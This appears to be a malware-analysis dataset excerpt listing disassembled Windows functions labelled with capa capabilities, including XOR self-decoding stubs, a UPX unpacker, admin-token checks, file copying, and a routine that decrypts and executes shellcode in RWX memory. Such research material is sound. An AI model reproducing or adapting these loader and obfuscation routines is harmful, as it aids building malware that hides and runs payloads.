joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43917e
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
xor esi, esi
lea ecx, [edi + 0x1c]
shr edi, 2
mov eax, edi
mov dword [ebp - 0xc], ecx
shr eax, 1
add eax, 3
mov dword [ebx], eax
add ebx, 0x10
test edi, edi
je 0x4391b4
mov eax, dword [edx]
lea edx, [edx + 4]
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jb 0x4391a7
cmp esi, ecx
jae 0x439297
mov eax, esi
sub eax, edi
lea eax, [ebx + eax*4]
mov dword [ebp - 4], eax
xor edx, edx
mov ecx, dword [ebx + esi*4 - 4]
mov eax, esi
mov dword [ebp + 8], ecx
div edi
mov dword [ebp - 8], eax
test edx, edx
jne 0x43922d
movzx ecx, cl
movzx edx, byte [ecx + str.cw]
mov ecx, dword [ebp + 8]
shr ecx, 0x18
shl edx, 8
movzx eax, byte [ecx + str.cw]
mov ecx, dword [ebp + 8]
or edx, eax
mov eax, ecx
shl edx, 8
shr eax, 0x10
movzx eax, al
shr ecx, 8
movzx eax, byte [eax + str.cw]
or edx, eax
movzx eax, cl
shl edx, 8
movzx ecx, byte [eax + str.cw]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + 0x45a288]
xor ecx, eax
or ecx, edx
jmp 0x43927d
cmp edi, 6
jbe 0x43927d
cmp edx, 4
jne 0x43927d
mov edx, dword [ebp + 8]
mov eax, ecx
shr eax, 0x10
movzx eax, al
movzx ecx, byte [eax + str.cw]
mov eax, edx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
or ecx, eax
mov eax, edx
shr eax, 8
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
movzx eax, dl
shl ecx, 8
movzx eax, byte [eax + str.cw]
or ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
add edx, 4
xor eax, ecx
mov dword [ebp - 4], edx
mov dword [ebx + esi*4], eax
inc esi
cmp esi, dword [ebp - 0xc]
jb 0x4391c6
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x43a0c3
Capabilities:
Create thread
Resume thread

Disassembly:
push esi
push edi
mov edi, ecx
push ecx
lea esi, [edi + 4]
mov ecx, esi
call fcn.0040847d
test al, al
je 0x43a0db
pop edi
xor al, al
pop esi
ret
push 0xc
call fcn.0043b783
pop ecx
push edi
push 0x43a074
mov ecx, eax
call fcn.00415d60
push eax
mov ecx, esi
call fcn.004084b6
mov ecx, esi
call fcn.00408412
pop edi
mov ecx, eax
pop esi
jmp fcn.00415f00

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1eac500
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18ed000]
push edi
or ebp, 0xffffffff
jmp 0x1eac522
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1eac529
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1eac518
mov eax, 1
add ebx, ebx
jne 0x1eac53b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1eac54c
jne 0x1eac56b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1eac56b
dec eax
add ebx, ebx
jne 0x1eac558
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1eac530
add ebx, ebx
jne 0x1eac567
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1eac5bd
xor ecx, ecx
sub eax, 3
jb 0x1eac583
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1eac5f2
sar eax, 1
mov ebp, eax
jmp 0x1eac58e
add ebx, ebx
jne 0x1eac58e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1eac55c
inc ecx
add ebx, ebx
jne 0x1eac59c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1eac55c
add ebx, ebx
jne 0x1eac5a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1eac59e
jne 0x1eac5ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1eac59e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1eac5dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1eac5ce
jmp 0x1eac51e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1eac5dc
add edi, ecx
jmp 0x1eac51e
pop esi
mov edi, esi
mov ecx, 0x20752
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1eac5fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1eac5ff
lea edi, [esi + 0x1aa8000]
mov eax, dword [edi]
or eax, eax
je 0x1eac667
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e6e020]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e6e164]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1eac625
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e6e16c]
or eax, eax
je 0x1eac661
mov dword [ebx], eax
add ebx, 4
jmp 0x1eac642
call dword [esi + 0x2e6e168]
mov ebp, dword [esi + 0x2e6e170]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1eac69b
sub esp, 0xffffff80
jmp 0x9b1c38

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402c08
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404110
test esi, esi
jne 0x402c3f
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404200
jmp 0x402c60
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402aa4
mov dword [esp], eax
test esi, esi
je 0x402c60
cmp dword [ebx], 0
je 0x402c60
dec esi
jmp 0x402c47
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x403628
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40b018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4036c0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036a0
xor eax, eax
push ebp
push 0x403699
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4036dc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036a0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40b018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40b018], ax
mov esp, ebp
pop ebp
ret

Function at 0x403f8c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40c044], 0
je 0x403fed
cmp word [0x40c218], 0xd7b2
jne 0x403fb5
cmp dword [0x40c220], 0
jbe 0x403fb5
mov eax, 0x40c214
call dword [0x40c230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40b084
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404014
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40b024], 0
jne 0x404009
push 0
push 0x40b07c
push 0x40b084
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405554
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4055ba
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404374
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040321c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4055a4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4055c1
lea eax, [ebp - 0x10]
call fcn.00404110
ret

Function at 0x4069d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004045a0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4069e9
test al, 0x10
jne 0x4069ed
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x407708
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x407741
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404200
jmp 0x40774a
mov eax, ebx
mov edx, esi
call fcn.00404164
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x407754
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x407775
mov al, byte [esp]
jmp 0x407777
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x407e0c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x407c74
mov eax, dword [0x40bb94]
cmp byte [eax], 0
je 0x407e88
mov eax, dword [0x40bae4]
call fcn.00402f74
call fcn.004029dc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00406b90
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x407ed0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x407ebe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x40bac4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40c660]
call fcn.00404ef8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x4088cc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x408930
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404374
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00406920
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408937
lea eax, [ebp - 0xc]
call fcn.00404110
ret

Function at 0x409b48
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x409bc9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0x40b6d0
call sub.advapi32.dll_AllocateAndInitializeSid
call fcn.00408f4c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
call sub.advapi32.dll_CheckTokenMembership
test eax, eax
je 0x409ba8
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
jmp 0x409bac
mov byte [ebp - 1], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409bd0
cmp dword [ebp - 8], 0
je 0x409bc8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_FreeSid
ret

Function at 0x409df8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
xor edx, edx
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409f25
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x409f3c
call fcn.004041a8
push 0xffffffffffffffff
push 0x24
lea eax, [ebp - 0x109]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00404374
push dword [ebp - 0x114]
push 0x409f50
push dword [ebp - 4]
lea eax, [ebp - 0x110]
mov edx, 3
call fcn.00404460
mov eax, dword [ebp - 0x110]
call fcn.004069d0
test al, al
je 0x409ec3
lea eax, [ebp - 0x118]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00404374
push dword [ebp - 0x118]
push 0x409f50
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404460
jmp 0x409eff
lea eax, [ebp - 0x11c]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00404374
push dword [ebp - 0x11c]
push 0x409f50
push 0x409f5c
push 0x409f68
push 0x409f78
mov eax, ebx
mov edx, 5
call fcn.00404460
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409f2c
lea eax, [ebp - 0x11c]
mov edx, 4
call fcn.00404134
lea eax, [ebp - 4]
call fcn.00404110
ret
Function at 0x409ffc
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
call fcn.00409bd8
test al, al
jne 0x40a017
call fcn.00409f7c
test al, al
je 0x40a020
mov eax, ebx
call fcn.00409df8
jmp 0x40a03e
push 0xffffffffffffffff
push 0x1c
lea eax, [esp + 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00404374
add esp, 0x108
pop ebx
ret

Function at 0x40a19c
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x40a27b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.00409ffc
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404824
push dword [ebp - 8]
push 0x40a28c
lea eax, [ebp - 0x10]
call fcn.0040a068
push dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404850
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.0040438c
mov eax, dword [ebp - 0x14]
call fcn.00402a38
push 0
lea eax, [ebp - 0x18]
call fcn.0040a0d8
mov eax, dword [ebp - 0x18]
call fcn.00404834
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00402c08
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
call fcn.00404824
mov eax, dword [ebp - 0x1c]
call fcn.00404834
push eax
call sub.kernel32.dll_CopyFileW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a282
lea eax, [ebp - 0x20]
call fcn.00404110
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.0040472c
lea eax, [ebp - 0x14]
call fcn.00404110
lea eax, [ebp - 0x10]
call fcn.00404714
lea eax, [ebp - 0xc]
call fcn.00404110
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040472c
ret
Function at 0x40a2b4
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x40a2bc
push ebx
xor eax, eax
push ebp
push 0x40a453
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x393
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x40a290]
call fcn.00404e40
add esp, 4
mov edx, dword [0x40baec]
mov eax, dword [ebp - 8]
mov ecx, 0x393
call fcn.004059c8
push 0x40
push 0x3000
mov eax, dword [ebp - 8]
call fcn.00404c6c
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404c6c
mov edx, eax
dec edx
test edx, edx
jl 0x40a341
inc edx
xor eax, eax
mov ecx, eax
mov ebx, 0x1de6
shr ebx, cl
not bl
mov ecx, dword [ebp - 8]
xor byte [ecx + eax], bl
inc eax
dec edx
jne 0x40a32c
mov eax, dword [ebp - 8]
call fcn.00404c6c
mov ecx, eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004059c8
mov ebx, dword [ebp - 4]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402c08
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00406ad8
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x14]
xor edx, edx
call fcn.00406a44
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.00404824
lea eax, [ebp - 0x24]
call fcn.00409ffc
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
call fcn.00404824
push dword [ebp - 0x20]
push 0x40a464
push dword [ebp - 0xc]
push 0x40a464
lea edx, [ebp - 0x30]
xor eax, eax
call fcn.00402c08
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
call fcn.00406ad8
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
call fcn.00404824
push dword [ebp - 0x28]
lea eax, [ebp - 0x10]
mov edx, 5
call fcn.00404850
push 0
mov eax, dword [ebp - 0x10]
call fcn.00404834
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404834
push eax
call fcn.0040a048
push eax
call ebx
add esp, 0x10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a45a
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00404134
lea eax, [ebp - 0x28]
call fcn.00404714
lea eax, [ebp - 0x24]
call fcn.00404110
lea eax, [ebp - 0x20]
call fcn.00404714
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404134
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.0040472c
lea eax, [ebp - 8]
mov edx, dword [0x40a290]
call fcn.00404e4c
ret
Function at 0x822cb30
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x138]
mov dword [ebp - 4], 0
test ecx, ecx
je 0x822cb54
movzx eax, word [ecx + 6]
jmp 0x822cb56
xor eax, eax
movzx esi, word [edi + 0x144]
sub eax, esi
movzx edx, ax
test ecx, ecx
jne 0x822cb6a
xor esi, esi
jmp 0x822cb73
movsx esi, si
shl esi, 7
add esi, dword [ecx + 8]
push ebx
test dx, dx
je 0x822ccb5
lea ecx, [ecx]
movzx eax, word [esi + 8]
dec edx
mov dword [ebp - 0x10], edx
cmp ax, 8
je 0x822cb98
cmp ax, 0x18
jne 0x822cca9
cmp dword [esi + 0x7c], 0
jne 0x822cbb3
mov ecx, 0x8222044
call fcn.0822bfd0
mov dword [esi + 0x7c], eax
test eax, eax
je 0x822ccd7
cmp dword [ebp - 4], 0
jne 0x822cbd9
mov eax, dword [0x8246cbc]
push 0x10000
push 0
push eax
call fcn.08230040
add esp, 0xc
mov dword [ebp - 4], eax
test eax, eax
je 0x822ccf4
mov ecx, dword [esi + 0x7c]
push 2
push 0
push ecx
call dword [sym.imp.msvcrt.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x822ccd7
mov edx, dword [esi + 0x7c]
push edx
call dword [sym.imp.msvcrt.dll_ftell]
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, 0x7fffffff
xor edi, edi
lea esp, [esp]
cmp ebx, 0xffff
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov ecx, 0xffff
jg 0x822cc2b
mov ecx, ebx
push edi
lea edx, [ebp - 8]
push edx
movsx edx, word [esi + 0x44]
push edx
movzx edx, word [esi]
push ecx
mov ecx, dword [ebp - 4]
push ecx
push edx
push eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.08230ee0
add esp, 0x20
test ax, ax
mov eax, dword [ebp + 8]
jne 0x822ccfc
mov edx, dword [eax + 0x1c]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [edx + 4]
jne 0x822cd14
mov eax, dword [ebp - 8]
test eax, eax
jle 0x822cc98
mov edx, dword [esi + 0x7c]
push edx
push 1
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x822cd31
mov eax, dword [ebp - 8]
add edi, eax
sub ebx, eax
jne 0x822cc10
mov eax, dword [esi + 0x60]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov dword [eax], ecx
mov dword [eax + 4], edi
mov edi, dword [ebp + 8]
sub esi, 0xffffff80
test dx, dx
jne 0x822cb80
xor esi, esi
mov eax, dword [ebp - 4]
pop ebx
test eax, eax
je 0x822ccce
push eax
mov eax, dword [0x8246cbc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov ax, si
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x27
push 0
push 0
push 0
add edi, 8
push edi
call fcn.0822a430
add esp, 0x1c
or esi, 0xffffffff
jmp 0x822ccb7
push 0
push 0
push 0x28
jmp 0x822ccdd
mov edx, dword [eax]
mov ecx, dword [eax + 0x1c]
push edx
push ecx
add eax, 8
push eax
call fcn.0822a640
add esp, 0xc
or esi, 0xffffffff
jmp 0x822ccb7
push 0
push 0
push 0x55
push 0
push 0
add eax, 8
push 0
push eax
call fcn.0822a430
add esp, 0x1c
or esi, 0xffffffff
jmp 0x822ccb7
mov edx, dword [ebp + 8]
push 0
push 0
push 0x27
push 0
push 0
add edx, 8
push 0
push edx
call fcn.0822a430
add esp, 0x1c
or esi, 0xffffffff
jmp 0x822ccb7
Function at 0x8241ba0
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x8246b14]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x8241bd9
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.08241664
mov esp, ebp
pop ebp
ret
mov ecx, dword [str._C__b]
push ecx
lea edx, [ebp - 0x10c]
push edx
push 0x8224338
lea eax, [ebp - 0x318]
push 0x20a
push eax
call fcn.08224770
add esp, 0x14
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.08241664
mov esp, ebp
pop ebp
ret

Function at 0x824c46b
Capabilities:
Encode data using xor

Disassembly:
call 0x824c3e4
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x824c414
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x824c430
xor edx, 0
jmp 0x824c43b
xor edx, edx
jmp 0x824c452
jmp 0x824c45e
xor eax, eax
push 0x8427d7c0
call 0x824c46b
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x824c4a7
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x824c480
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x824c4be
add eax, 0
jno 0x824c4c3
add esi, 0
ret 0x10